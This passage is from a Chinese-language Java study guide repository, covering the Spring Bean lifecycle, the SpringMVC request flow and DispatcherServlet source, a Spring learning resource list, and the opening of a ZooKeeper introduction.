EnvironmentAware, ImportAware, ResourceLoaderAware{\n         @Override\n    public void setBeanClassLoader(ClassLoader classLoader) {\n        System.out.println(\"执行setBeanClassLoader,ClassLoader Name = \" + classLoader.getClass().getName());\n    }\n    @Override\n    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {\n        System.out.println(\"执行setBeanFactory,setBeanFactory:: giraffe bean singleton=\" +  beanFactory.isSingleton(\"giraffeService\"));\n    }\n    @Override\n    public void setBeanName(String s) {\n        System.out.println(\"执行setBeanName:: Bean Name defined in context=\"\n                + s);\n    }\n    @Override\n    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n        System.out.println(\"执行setApplicationContext:: Bean Definition Names=\"\n                + Arrays.toString(applicationContext.getBeanDefinitionNames()));\n    }\n    @Override\n    public void setApplicationEventPublisher(ApplicationEventPublisher applicationEventPublisher) {\n        System.out.println(\"执行setApplicationEventPublisher\");\n    }\n    @Override\n    public void setEnvironment(Environment environment) {\n        System.out.println(\"执行setEnvironment\");\n    }\n    @Override\n    public void setResourceLoader(ResourceLoader resourceLoader) {\n        Resource resource = resourceLoader.getResource(\"classpath:spring-beans.xml\");\n        System.out.println(\"执行setResourceLoader:: Resource File Name=\"\n                + resource.getFilename());\n    }\n    @Override\n    public void setImportMetadata(AnnotationMetadata annotationMetadata) {\n        System.out.println(\"执行setImportMetadata\");\n    }\n}\n```\n\n### BeanPostProcessor\n\n上面的*Aware接口是针对某个实现这些接口的Bean定制初始化的过程，\nSpring同样可以针对容器中的所有Bean，或者某些Bean定制初始化过程，只需提供一个实现BeanPostProcessor接口的类即可。 该接口中包含两个方法，postProcessBeforeInitialization和postProcessAfterInitialization。 postProcessBeforeInitialization方法会在容器中的Bean初始化之前执行， postProcessAfterInitialization方法在容器中的Bean初始化之后执行。\n\n例子如下：\n\n```java\npublic class CustomerBeanPostProcessor implements BeanPostProcessor {\n    @Override\n    public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {\n        System.out.println(\"执行BeanPostProcessor的postProcessBeforeInitialization方法,beanName=\" + beanName);\n        return bean;\n    }\n    @Override\n    public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {\n        System.out.println(\"执行BeanPostProcessor的postProcessAfterInitialization方法,beanName=\" + beanName);\n        return bean;\n    }\n}\n```\n\n要将BeanPostProcessor的Bean像其他Bean一样定义在配置文件中\n\n```xml  \n<bean class=\"com.giraffe.spring.service.CustomerBeanPostProcessor\"/>\n```\n\n### 总结\n\n所以。。。结合第一节控制台输出的内容，Spring Bean的生命周期是这样纸的：\n\n- Bean容器找到配置文件中 Spring Bean 的定义。\n- Bean容器利用Java Reflection API创建一个Bean的实例。\n- 如果涉及到一些属性值 利用set方法设置一些属性值。\n- 如果Bean实现了BeanNameAware接口，调用setBeanName()方法，传入Bean的名字。\n- 如果Bean实现了BeanClassLoaderAware接口，调用setBeanClassLoader()方法，传入ClassLoader对象的实例。\n- 如果Bean实现了BeanFactoryAware接口，调用setBeanClassLoader()方法，传入ClassLoader对象的实例。\n- 与上面的类似，如果实现了其他*Aware接口，就调用相应的方法。\n- 如果有和加载这个Bean的Spring容器相关的BeanPostProcessor对象，执行postProcessBeforeInitialization()方法\n- 如果Bean实现了InitializingBean接口，执行afterPropertiesSet()方法。\n- 如果Bean在配置文件中的定义包含init-method属性，执行指定的方法。\n- 如果有和加载这个Bean的Spring容器相关的BeanPostProcessor对象，执行postProcessAfterInitialization()方法\n- 当要销毁Bean的时候，如果Bean实现了DisposableBean接口，执行destroy()方法。\n- 当要销毁Bean的时候，如果Bean在配置文件中的定义包含destroy-method属性，执行指定的方法。\n\n用图表示一下(图来源:http://www.jianshu.com/p/d00539babca5)：\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-17/48376272.jpg)\n\n与之比较类似的中文版本:\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-17/5496407.jpg)\n\n\n**其实很多时候我们并不会真的去实现上面说描述的那些接口，那么下面我们就除去那些接口，针对bean的单例和非单例来描述下bean的生命周期：**\n\n### 单例管理的对象\n\n当scope=”singleton”，即默认情况下，会在启动容器时（即实例化容器时）时实例化。但我们可以指定Bean节点的lazy-init=”true”来延迟初始化bean，这时候，只有在第一次获取bean时才会初始化bean，即第一次请求该bean时才初始化。如下配置：\n\n```xml\n<bean id=\"ServiceImpl\" class=\"cn.csdn.service.ServiceImpl\" lazy-init=\"true\"/>  \n```\n\n如果想对所有的默认单例bean都应用延迟初始化，可以在根节点beans设置default-lazy-init属性为true，如下所示：\n\n```xml\n<beans default-lazy-init=\"true\" …>\n```\n\n默认情况下，Spring 在读取 xml 文件的时候，就会创建对象。在创建对象的时候先调用构造器，然后调用 init-method 属性值中所指定的方法。对象在被销毁的时候，会调用 destroy-method 属性值中所指定的方法（例如调用Container.destroy()方法的时候）。写一个测试类，代码如下：\n\n```java\npublic class LifeBean {\n    private String name;  \n\n    public LifeBean(){  \n        System.out.println(\"LifeBean()构造函数\");  \n    }  \n    public String getName() {  \n        return name;  \n    }  \n\n    public void setName(String name) {  \n        System.out.println(\"setName()\");  \n        this.name = name;  \n    }  \n\n    public void init(){  \n        System.out.println(\"this is init of lifeBean\");  \n    }  \n\n    public void destory(){  \n        System.out.println(\"this is destory of lifeBean \" + this);  \n    }  \n}\n```\n　life.xml配置如下：\n\n```xml\n<bean id=\"life_singleton\" class=\"com.bean.LifeBean\" scope=\"singleton\" \n            init-method=\"init\" destroy-method=\"destory\" lazy-init=\"true\"/>\n```\n\n测试代码：\n\n```java\npublic class LifeTest {\n    @Test \n    public void test() {\n        AbstractApplicationContext container = \n        new ClassPathXmlApplicationContext(\"life.xml\");\n        LifeBean life1 = (LifeBean)container.getBean(\"life\");\n        System.out.println(life1);\n        container.close();\n    }\n}\n```\n\n运行结果：\n\n```\nLifeBean()构造函数\nthis is init of lifeBean\ncom.bean.LifeBean@573f2bb1\n……\nthis is destory of lifeBean com.bean.LifeBean@573f2bb1\n```\n\n### 非单例管理的对象\n\n当`scope=”prototype”`时，容器也会延迟初始化 bean，Spring 读取xml 文件的时候，并不会立刻创建对象，而是在第一次请求该 bean 时才初始化（如调用getBean方法时）。在第一次请求每一个 prototype 的bean 时，Spring容器都会调用其构造器创建这个对象，然后调用`init-method`属性值中所指定的方法。对象销毁的时候，Spring 容器不会帮我们调用任何方法，因为是非单例，这个类型的对象有很多个，Spring容器一旦把这个对象交给你之后，就不再管理这个对象了。\n\n为了测试prototype bean的生命周期life.xml配置如下：\n\n```xml\n<bean id=\"life_prototype\" class=\"com.bean.LifeBean\" scope=\"prototype\" init-method=\"init\" destroy-method=\"destory\"/>\n```\n\n测试程序：\n\n```java\npublic class LifeTest {\n    @Test \n    public void test() {\n        AbstractApplicationContext container = new ClassPathXmlApplicationContext(\"life.xml\");\n        LifeBean life1 = (LifeBean)container.getBean(\"life_singleton\");\n        System.out.println(life1);\n\n        LifeBean life3 = (LifeBean)container.getBean(\"life_prototype\");\n        System.out.println(life3);\n        container.close();\n    }\n}\n```\n\n运行结果：\n\n```\nLifeBean()构造函数\nthis is init of lifeBean\ncom.bean.LifeBean@573f2bb1\nLifeBean()构造函数\nthis is init of lifeBean\ncom.bean.LifeBean@5ae9a829\n……\nthis is destory of lifeBean com.bean.LifeBean@573f2bb1\n```\n\n可以发现，对于作用域为 prototype 的 bean ，其`destroy`方法并没有被调用。**如果 bean 的 scope 设为prototype时，当容器关闭时，`destroy` 方法不会被调用。对于 prototype 作用域的 bean，有一点非常重要，那就是 Spring不能对一个 prototype bean 的整个生命周期负责：容器在初始化、配置、装饰或者是装配完一个prototype实例后，将它交给客户端，随后就对该prototype实例不闻不问了。** 不管何种作用域，容器都会调用所有对象的初始化生命周期回调方法。但对prototype而言，任何配置好的析构生命周期回调方法都将不会被调用。**清除prototype作用域的对象并释放任何prototype bean所持有的昂贵资源，都是客户端代码的职责**（让Spring容器释放被prototype作用域bean占用资源的一种可行方式是，通过使用bean的后置处理器，该处理器持有要被清除的bean的引用）。谈及prototype作用域的bean时，在某些方面你可以将Spring容器的角色看作是Java new操作的替代者，任何迟于该时间点的生命周期事宜都得交由客户端来处理。\n\n**Spring 容器可以管理 singleton 作用域下 bean 的生命周期，在此作用域下，Spring 能够精确地知道bean何时被创建，何时初始化完成，以及何时被销毁。而对于 prototype 作用域的bean，Spring只负责创建，当容器创建了 bean 的实例后，bean 的实例就交给了客户端的代码管理，Spring容器将不再跟踪其生命周期，并且不会管理那些被配置成prototype作用域的bean的生命周期。**\n\n\n# 三 说明\n\n本文的完成结合了下面两篇文章，并做了相应修改：\n\n- https://blog.csdn.net/fuzhongmin05/article/details/73389779\n- https://yemengying.com/2016/07/14/spring-bean-life-cycle/\n\n由于本文非本人独立原创，所以未声明为原创！在此说明！\n"
  },
  {
    "path": "docs/system-design/framework/SpringMVC 工作原理详解.md",
    "content": "> 本文整理自网络，原文出处暂不知，对原文做了较大的改动，在此说明！\n\n### 先来看一下什么是 MVC 模式\n\nMVC 是一种设计模式.\n\n**MVC 的原理图如下：**\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-11/60679444.jpg)\n\n\n\n### SpringMVC 简单介绍\n\nSpringMVC 框架是以请求为驱动，围绕 Servlet 设计，将请求发给控制器，然后通过模型对象，分派器来展示请求结果视图。其中核心类是 DispatcherServlet，它是一个 Servlet，顶层是实现的Servlet接口。\n\n### SpringMVC 使用\n\n需要在 web.xml 中配置 DispatcherServlet 。并且需要配置 Spring 监听器ContextLoaderListener\n\n```xml\n\n<listener>\n\t<listener-class>org.springframework.web.context.ContextLoaderListener\n\t</listener-class>\n</listener>\n<servlet>\n\t<servlet-name>springmvc</servlet-name>\n\t<servlet-class>org.springframework.web.servlet.DispatcherServlet\n\t</servlet-class>\n\t<!-- 如果不设置init-param标签，则必须在/WEB-INF/下创建xxx-servlet.xml文件，其中xxx是servlet-name中配置的名称。 -->\n\t<init-param>\n\t\t<param-name>contextConfigLocation</param-name>\n\t\t<param-value>classpath:spring/springmvc-servlet.xml</param-value>\n\t</init-param>\n\t<load-on-startup>1</load-on-startup>\n</servlet>\n<servlet-mapping>\n\t<servlet-name>springmvc</servlet-name>\n\t<url-pattern>/</url-pattern>\n</servlet-mapping>\n\n```\n\n### SpringMVC 工作原理（重要）\n\n**简单来说：**\n\n客户端发送请求-> 前端控制器 DispatcherServlet 接受客户端请求 -> 找到处理器映射 HandlerMapping 解析请求对应的 Handler-> HandlerAdapter 会根据 Handler 来调用真正的处理器开处理请求，并处理相应的业务逻辑 -> 处理器返回一个模型视图 ModelAndView -> 视图解析器进行解析 -> 返回一个视图对象->前端控制器 DispatcherServlet 渲染数据（Moder）->将得到视图对象返回给用户\n\n\n\n**如下图所示：**\n![SpringMVC运行原理](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-11/49790288.jpg)\n\n上图的一个笔误的小问题：Spring MVC 的入口函数也就是前端控制器 DispatcherServlet 的作用是接收请求，响应结果。\n\n**流程说明（重要）：**\n\n（1）客户端（浏览器）发送请求，直接请求到 DispatcherServlet。\n\n（2）DispatcherServlet 根据请求信息调用 HandlerMapping，解析请求对应的 Handler。\n\n（3）解析到对应的 Handler（也就是我们平常说的 Controller 控制器）后，开始由 HandlerAdapter 适配器处理。\n\n（4）HandlerAdapter 会根据 Handler 来调用真正的处理器开处理请求，并处理相应的业务逻辑。\n\n（5）处理器处理完业务后，会返回一个 ModelAndView 对象，Model 是返回的数据对象，View 是个逻辑上的 View。\n\n（6）ViewResolver 会根据逻辑 View 查找实际的 View。\n\n（7）DispaterServlet 把返回的 Model 传给 View（视图渲染）。\n\n（8）把 View 返回给请求者（浏览器）\n\n\n\n### SpringMVC 重要组件说明\n\n\n**1、前端控制器DispatcherServlet（不需要工程师开发）,由框架提供（重要）**\n\n作用：**Spring MVC 的入口函数。接收请求，响应结果，相当于转发器，中央处理器。有了 DispatcherServlet 减少了其它组件之间的耦合度。用户请求到达前端控制器，它就相当于mvc模式中的c，DispatcherServlet是整个流程控制的中心，由它调用其它组件处理用户的请求，DispatcherServlet的存在降低了组件之间的耦合性。**\n\n**2、处理器映射器HandlerMapping(不需要工程师开发),由框架提供**\n\n作用：根据请求的url查找Handler。HandlerMapping负责根据用户请求找到Handler即处理器（Controller），SpringMVC提供了不同的映射器实现不同的映射方式，例如：配置文件方式，实现接口方式，注解方式等。\n\n**3、处理器适配器HandlerAdapter**\n\n作用：按照特定规则（HandlerAdapter要求的规则）去执行Handler\n通过HandlerAdapter对处理器进行执行，这是适配器模式的应用，通过扩展适配器可以对更多类型的处理器进行执行。\n\n**4、处理器Handler(需要工程师开发)**\n\n注意：编写Handler时按照HandlerAdapter的要求去做，这样适配器才可以去正确执行Handler\nHandler 是继DispatcherServlet前端控制器的后端控制器，在DispatcherServlet的控制下Handler对具体的用户请求进行处理。\n由于Handler涉及到具体的用户业务请求，所以一般情况需要工程师根据业务需求开发Handler。\n\n**5、视图解析器View resolver(不需要工程师开发),由框架提供**\n\n作用：进行视图解析，根据逻辑视图名解析成真正的视图（view）\nView Resolver负责将处理结果生成View视图，View Resolver首先根据逻辑视图名解析成物理视图名即具体的页面地址，再生成View视图对象，最后对View进行渲染将处理结果通过页面展示给用户。 springmvc框架提供了很多的View视图类型，包括：jstlView、freemarkerView、pdfView等。\n一般情况下需要通过页面标签或页面模版技术将模型数据通过页面展示给用户，需要由工程师根据业务需求开发具体的页面。\n\n**6、视图View(需要工程师开发)**\n\nView是一个接口，实现类支持不同的View类型（jsp、freemarker、pdf...）\n\n**注意：处理器Handler（也就是我们平常说的Controller控制器）以及视图层view都是需要我们自己手动开发的。其他的一些组件比如：前端控制器DispatcherServlet、处理器映射器HandlerMapping、处理器适配器HandlerAdapter等等都是框架提供给我们的，不需要自己手动开发。**\n\n### DispatcherServlet详细解析\n\n首先看下源码：\n\n```java\npackage org.springframework.web.servlet;\n \n@SuppressWarnings(\"serial\")\npublic class DispatcherServlet extends FrameworkServlet {\n \n\tpublic static final String MULTIPART_RESOLVER_BEAN_NAME = \"multipartResolver\";\n\tpublic static final String LOCALE_RESOLVER_BEAN_NAME = \"localeResolver\";\n\tpublic static final String THEME_RESOLVER_BEAN_NAME = \"themeResolver\";\n\tpublic static final String HANDLER_MAPPING_BEAN_NAME = \"handlerMapping\";\n\tpublic static final String HANDLER_ADAPTER_BEAN_NAME = \"handlerAdapter\";\n\tpublic static final String HANDLER_EXCEPTION_RESOLVER_BEAN_NAME = \"handlerExceptionResolver\";\n\tpublic static final String REQUEST_TO_VIEW_NAME_TRANSLATOR_BEAN_NAME = \"viewNameTranslator\";\n\tpublic static final String VIEW_RESOLVER_BEAN_NAME = \"viewResolver\";\n\tpublic static final String FLASH_MAP_MANAGER_BEAN_NAME = \"flashMapManager\";\n\tpublic static final String WEB_APPLICATION_CONTEXT_ATTRIBUTE = DispatcherServlet.class.getName() + \".CONTEXT\";\n\tpublic static final String LOCALE_RESOLVER_ATTRIBUTE = DispatcherServlet.class.getName() + \".LOCALE_RESOLVER\";\n\tpublic static final String THEME_RESOLVER_ATTRIBUTE = DispatcherServlet.class.getName() + \".THEME_RESOLVER\";\n\tpublic static final String THEME_SOURCE_ATTRIBUTE = DispatcherServlet.class.getName() + \".THEME_SOURCE\";\n\tpublic static final String INPUT_FLASH_MAP_ATTRIBUTE = DispatcherServlet.class.getName() + \".INPUT_FLASH_MAP\";\n\tpublic static final String OUTPUT_FLASH_MAP_ATTRIBUTE = DispatcherServlet.class.getName() + \".OUTPUT_FLASH_MAP\";\n\tpublic static final String FLASH_MAP_MANAGER_ATTRIBUTE = DispatcherServlet.class.getName() + \".FLASH_MAP_MANAGER\";\n\tpublic static final String EXCEPTION_ATTRIBUTE = DispatcherServlet.class.getName() + \".EXCEPTION\";\n\tpublic static final String PAGE_NOT_FOUND_LOG_CATEGORY = \"org.springframework.web.servlet.PageNotFound\";\n\tprivate static final String DEFAULT_STRATEGIES_PATH = \"DispatcherServlet.properties\";\n\tprotected static final Log pageNotFoundLogger = LogFactory.getLog(PAGE_NOT_FOUND_LOG_CATEGORY);\n\tprivate static final Properties defaultStrategies;\n\tstatic {\n\t\ttry {\n\t\t\tClassPathResource resource = new ClassPathResource(DEFAULT_STRATEGIES_PATH, DispatcherServlet.class);\n\t\t\tdefaultStrategies = PropertiesLoaderUtils.loadProperties(resource);\n\t\t}\n\t\tcatch (IOException ex) {\n\t\t\tthrow new IllegalStateException(\"Could not load 'DispatcherServlet.properties': \" + ex.getMessage());\n\t\t}\n\t}\n \n\t/** Detect all HandlerMappings or just expect \"handlerMapping\" bean? */\n\tprivate boolean detectAllHandlerMappings = true;\n \n\t/** Detect all HandlerAdapters or just expect \"handlerAdapter\" bean? */\n\tprivate boolean detectAllHandlerAdapters = true;\n \n\t/** Detect all HandlerExceptionResolvers or just expect \"handlerExceptionResolver\" bean? */\n\tprivate boolean detectAllHandlerExceptionResolvers = true;\n \n\t/** Detect all ViewResolvers or just expect \"viewResolver\" bean? */\n\tprivate boolean detectAllViewResolvers = true;\n \n\t/** Throw a NoHandlerFoundException if no Handler was found to process this request? **/\n\tprivate boolean throwExceptionIfNoHandlerFound = false;\n \n\t/** Perform cleanup of request attributes after include request? */\n\tprivate boolean cleanupAfterInclude = true;\n \n\t/** MultipartResolver used by this servlet */\n\tprivate MultipartResolver multipartResolver;\n \n\t/** LocaleResolver used by this servlet */\n\tprivate LocaleResolver localeResolver;\n \n\t/** ThemeResolver used by this servlet */\n\tprivate ThemeResolver themeResolver;\n \n\t/** List of HandlerMappings used by this servlet */\n\tprivate List<HandlerMapping> handlerMappings;\n \n\t/** List of HandlerAdapters used by this servlet */\n\tprivate List<HandlerAdapter> handlerAdapters;\n \n\t/** List of HandlerExceptionResolvers used by this servlet */\n\tprivate List<HandlerExceptionResolver> handlerExceptionResolvers;\n \n\t/** RequestToViewNameTranslator used by this servlet */\n\tprivate RequestToViewNameTranslator viewNameTranslator;\n \n\tprivate FlashMapManager flashMapManager;\n \n\t/** List of ViewResolvers used by this servlet */\n\tprivate List<ViewResolver> viewResolvers;\n \n\tpublic DispatcherServlet() {\n\t\tsuper();\n\t}\n \n\tpublic DispatcherServlet(WebApplicationContext webApplicationContext) {\n\t\tsuper(webApplicationContext);\n\t}\n\t@Override\n\tprotected void onRefresh(ApplicationContext context) {\n\t\tinitStrategies(context);\n\t}\n \n\tprotected void initStrategies(ApplicationContext context) {\n\t\tinitMultipartResolver(context);\n\t\tinitLocaleResolver(context);\n\t\tinitThemeResolver(context);\n\t\tinitHandlerMappings(context);\n\t\tinitHandlerAdapters(context);\n\t\tinitHandlerExceptionResolvers(context);\n\t\tinitRequestToViewNameTranslator(context);\n\t\tinitViewResolvers(context);\n\t\tinitFlashMapManager(context);\n\t}\n}\n\n```\n\nDispatcherServlet类中的属性beans：\n\n- HandlerMapping：用于handlers映射请求和一系列的对于拦截器的前处理和后处理，大部分用@Controller注解。\n- HandlerAdapter：帮助DispatcherServlet处理映射请求处理程序的适配器，而不用考虑实际调用的是 哪个处理程序。- - - \n- ViewResolver：根据实际配置解析实际的View类型。\n- ThemeResolver：解决Web应用程序可以使用的主题，例如提供个性化布局。\n- MultipartResolver：解析多部分请求，以支持从HTML表单上传文件。- \n- FlashMapManager：存储并检索可用于将一个请求属性传递到另一个请求的input和output的FlashMap，通常用于重定向。\n\n在Web MVC框架中，每个DispatcherServlet都拥自己的WebApplicationContext，它继承了ApplicationContext。WebApplicationContext包含了其上下文和Servlet实例之间共享的所有的基础框架beans。\n\n**HandlerMapping**\n\n![HandlerMapping](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-11/96666164.jpg)\n\nHandlerMapping接口处理请求的映射HandlerMapping接口的实现类：\n\n- SimpleUrlHandlerMapping类通过配置文件把URL映射到Controller类。\n- DefaultAnnotationHandlerMapping类通过注解把URL映射到Controller类。\n\n**HandlerAdapter**\n\n\n![HandlerAdapter](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-11/91433100.jpg)\n\nHandlerAdapter接口-处理请求映射\n\nAnnotationMethodHandlerAdapter：通过注解，把请求URL映射到Controller类的方法上。\n\n**HandlerExceptionResolver**\n\n\n![HandlerExceptionResolver](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-11/50343885.jpg)\n\nHandlerExceptionResolver接口-异常处理接口\n\n- SimpleMappingExceptionResolver通过配置文件进行异常处理。\n- AnnotationMethodHandlerExceptionResolver：通过注解进行异常处理。\n\n**ViewResolver**\n\n![ViewResolver](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-11/49497279.jpg)\n\nViewResolver接口解析View视图。\n\nUrlBasedViewResolver类 通过配置文件，把一个视图名交给到一个View来处理。\n"
  },
  {
    "path": "docs/system-design/framework/Spring学习与面试.md",
    "content": "\n\n# Spring相关教程/资料：\n\n> ## 官网相关\n\n [Spring官网](https://spring.io/)\n\n[Spring系列主要项目](https://spring.io/projects)\n\n从配置到安全性，Web应用到大数据 - 无论您的应用程序的基础架构需求如何，都有一个Spring Project来帮助您构建它。 从小处着手，根据需要使用 - Spring是通过设计模块化的。\n\n [Spring官网指南](https://spring.io/guides)\n\n无论您在构建什么，这些指南都旨在尽可能快地提高您的工作效率 - 使用Spring团队推荐的最新Spring项目发布和技术。\n\n [Spring官方文档翻译（1~6章）](https://blog.csdn.net/tangtong1/article/details/51326887)\n\n> ##   系统学习教程：\n\n### 文档：\n\n [极客学院Spring Wiki](http://wiki.jikexueyuan.com/project/spring/transaction-management.html)\n\n [Spring W3Cschool教程 ](https://www.w3cschool.cn/wkspring/f6pk1ic8.html)\n\n### 视频：\n\n[网易云课堂——58集精通java教程Spring框架开发](http://study.163.com/course/courseMain.htm?courseId=1004475015#/courseDetail?tab=1&35)\n\n [慕课网相关视频](https://www.imooc.com/)\n\n**黑马视频（非常推荐）：**\n微信公众号：“**Java面试通关手册**”后台回复“**资源分享第一波**”免费领取。\n\n> ## 一些常用的东西\n\n[Spring Framework 4.3.17.RELEASE API](https://docs.spring.io/spring/docs/4.3.17.RELEASE/javadoc-api/)\n\n默认浏览器打开，当需要查某个类的作用的时候，可以在浏览器通过ctrl+f搜索。\n\n\n# 面试必备知识点\n\n\n> ## SpringAOP,IOC实现原理\n\nAOP实现原理、动态代理和静态代理、Spring IOC的初始化过程、IOC原理、自己实现怎么实现一个IOC容器？这些东西都是经常会被问到的。\n\n[自己动手实现的 Spring IOC 和 AOP - 上篇](http://www.coolblog.xyz/2018/01/18/自己动手实现的-Spring-IOC-和-AOP-上篇/)\n\n[自己动手实现的 Spring IOC 和 AOP - 下篇](http://www.coolblog.xyz/2018/01/18/自己动手实现的-Spring-IOC-和-AOP-下篇/)\n\n### AOP：\n\nAOP思想的实现一般都是基于 **代理模式** ，在JAVA中一般采用JDK动态代理模式，但是我们都知道，**JDK动态代理模式只能代理接口而不能代理类**。因此，Spring AOP 会这样子来进行切换，因为Spring AOP 同时支持 CGLIB、ASPECTJ、JDK动态代理。\n\n- 如果目标对象的实现类实现了接口，Spring AOP 将会采用 JDK 动态代理来生成 AOP 代理类；\n- 如果目标对象的实现类没有实现接口，Spring AOP 将会采用 CGLIB 来生成 AOP 代理类——不过这个选择过程对开发者完全透明、开发者也无需关心。\n\n\n\n[※静态代理、JDK动态代理、CGLIB动态代理讲解](http://www.cnblogs.com/puyangsky/p/6218925.html)\n\n我们知道AOP思想的实现一般都是基于 **代理模式** ，所以在看下面的文章之前建议先了解一下静态代理以及JDK动态代理、CGLIB动态代理的实现方式。\n\n[Spring AOP 入门](https://juejin.im/post/5aa7818af265da23844040c6)\n\n带你入门的一篇文章。这篇文章主要介绍了AOP中的基本概念：5种类型的通知（Before，After，After-returning，After-throwing，Around）；Spring中对AOP的支持：AOP思想的实现一般都是基于代理模式，在JAVA中一般采用JDK动态代理模式，Spring AOP 同时支持 CGLIB、ASPECTJ、JDK动态代理，\n\n[※Spring AOP 基于AspectJ注解如何实现AOP](https://juejin.im/post/5a55af9e518825734d14813f)\n\n\n**AspectJ是一个AOP框架，它能够对java代码进行AOP编译（一般在编译期进行），让java代码具有AspectJ的AOP功能（当然需要特殊的编译器）**，可以这样说AspectJ是目前实现AOP框架中最成熟，功能最丰富的语言，更幸运的是，AspectJ与java程序完全兼容，几乎是无缝关联，因此对于有java编程基础的工程师，上手和使用都非常容易\n\nSpring注意到AspectJ在AOP的实现方式上依赖于特殊编译器(ajc编译器)，因此Spring很机智回避了这点，转向采用动态代理技术的实现原理来构建Spring AOP的内部机制（动态织入），这是与AspectJ（静态织入）最根本的区别。\n\n\n[※探秘Spring AOP（慕课网视频，很不错）](https://www.imooc.com/learn/869)\n\n慕课网视频，讲解的很不错，详细且深入\n\n\n[spring源码剖析（六）AOP实现原理剖析](https://blog.csdn.net/fighterandknight/article/details/51209822)\n\n通过源码分析Spring AOP的原理\n\n### IOC：\n\nSpring IOC的初始化过程：\n![Spring IOC的初始化过程](https://user-gold-cdn.xitu.io/2018/5/22/16387903ee72c831?w=709&h=56&f=png&s=4673)\n\n[[Spring框架]Spring IOC的原理及详解。](https://www.cnblogs.com/wang-meng/p/5597490.html)\n\n[Spring IOC核心源码学习](https://yikun.github.io/2015/05/29/Spring-IOC核心源码学习/)\n\n比较简短，推荐阅读。\n\n[Spring IOC 容器源码分析](https://javadoop.com/post/spring-ioc)\n\n强烈推荐，内容详尽，而且便于阅读。\n\n> ## Spring事务管理\n\n[可能是最漂亮的Spring事务管理详解](https://juejin.im/post/5b00c52ef265da0b95276091)\n\n[Spring编程式和声明式事务实例讲解](https://juejin.im/post/5b010f27518825426539ba38)\n\n> ## 其他\n\n**Spring单例与线程安全：**\n\n[Spring框架中的单例模式（源码解读）](http://www.cnblogs.com/chengxuyuanzhilu/p/6404991.html)\n\n单例模式是一种常用的软件设计模式。通过单例模式可以保证系统中一个类只有一个实例。spring依赖注入时，使用了 多重判断加锁 的单例模式。\n\n> ## Spring源码阅读\n\n阅读源码不仅可以加深我们对Spring设计思想的理解，提高自己的编码水品，还可以让自己在面试中如鱼得水。下面的是Github上的一个开源的Spring源码阅读，大家有时间可以看一下，当然你如果有时间也可以自己慢慢研究源码。\n\n###  [Spring源码阅读](https://github.com/seaswalker/Spring)\n - [spring-core](https://github.com/seaswalker/Spring/blob/master/note/Spring.md)\n- [spring-aop](https://github.com/seaswalker/Spring/blob/master/note/spring-aop.md)\n- [spring-context](https://github.com/seaswalker/Spring/blob/master/note/spring-context.md)\n- [spring-task](https://github.com/seaswalker/Spring/blob/master/note/spring-task.md)\n- [spring-transaction](https://github.com/seaswalker/Spring/blob/master/note/spring-transaction.md)\n- [spring-mvc](https://github.com/seaswalker/Spring/blob/master/note/spring-mvc.md)\n- [guava-cache](https://github.com/seaswalker/Spring/blob/master/note/guava-cache.md)\n"
  },
  {
    "path": "docs/system-design/framework/ZooKeeper.md",
    "content": "![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-10/56385654.jpg)\n## 前言\n\n相信大家对 ZooKeeper 应该不算陌生。但是你真的了解 ZooKeeper 是个什么东西吗？如果别人/面试官让你给他讲讲  ZooKeeper 是个什么东西，你能回答到什么地步呢？\n\n我本人曾经使用过 ZooKeeper 作为 Dubbo 的注册中心，另外在搭建 solr 集群的时候，我使用到了  ZooKeeper 作为 solr 集群的管理工具。前几天，总结项目经验的时候，我突然问自己 ZooKeeper 到底是个什么东西？想了半天，脑海中只是简单的能浮现出几句话：“①Zookeeper 可以被用作注册中心。 ②Zookeeper 是 Hadoop 生态系统的一员；③构建 Zookeeper 集群的时候，使用的服务器最好是奇数台。” 可见，我对于 Zookeeper 的理解仅仅是停留在了表面。\n\n所以，**通过本文，希望带大家稍微详细的了解一下 ZooKeeper 。如果没有学过 ZooKeeper ，那么本文将会是你进入 ZooKeeper 大门的垫脚砖。如果你已经接触过 ZooKeeper ，那么本文将带你回顾一下 ZooKeeper 的一些基础概念。**\n\n最后，**本文只涉及 ZooKeeper 的一些概念，并不涉及 ZooKeeper 的使用以及 ZooKeeper 集群的搭建。** 网上有介绍 ZooKeeper 的使用以及搭建 ZooKeeper 集群的文章，大家有需要可以自行查阅。\n\n## 一 什么是 ZooKeeper\n\n### ZooKeeper 的由来\n\n**下面这段内容摘自《从Paxos到Zookeeper 》第四章第一节的某段内容，推荐大家阅读以下：**\n\n> Zookeeper最早起源于雅虎研究院的一个研究小组。在当时，研究人员发现，在雅虎内部很多大型系统基本都需要依赖一个类似的系统来进行分布式协调，但是这些系统往往都存在分布式单点问题。所以，**雅虎的开发人员就试图开发一个通用的无单点问题的分布式协调框架，以便让开发人员将精力集中在处理业务逻辑上。**\n>\n>关于“ZooKeeper”这个项目的名字，其实也有一段趣闻。在立项初期，考虑到之前内部很多项目都是使用动物的名字来命名的（例如著名的Pig项目),雅虎的工程师希望给这个项目也取一个动物的名字。时任研究院的首席科学家RaghuRamakrishnan开玩笑地说：“在这样下去，我们这儿就变成动物园了！”此话一出，大家纷纷表示就叫动物园管理员吧一一一因为各个以动物命名的分布式组件放在一起，**雅虎的整个分布式系统看上去就像一个大型的动物园了，而Zookeeper正好要用来进行分布式环境的协调一一于是，Zookeeper的名字也就由此诞生了。**\n\n\n### 1.1 ZooKeeper 概览\n\nZooKeeper 是一个开源的分布式协调服务，ZooKeeper框架最初是在“Yahoo!\"上构建的，用于以简单而稳健的方式访问他们的应用程序。 后来，Apache ZooKeeper成为Hadoop，HBase和其他分布式框架使用的有组织服务的标准。 例如，Apache HBase使用ZooKeeper跟踪分布式数据的状态。**ZooKeeper 的设计目标是将那些复杂且容易出错的分布式一致性服务封装起来，构成一个高效可靠的原语集，并以一系列简单易用的接口提供给用户使用。**\n\n> **原语：** 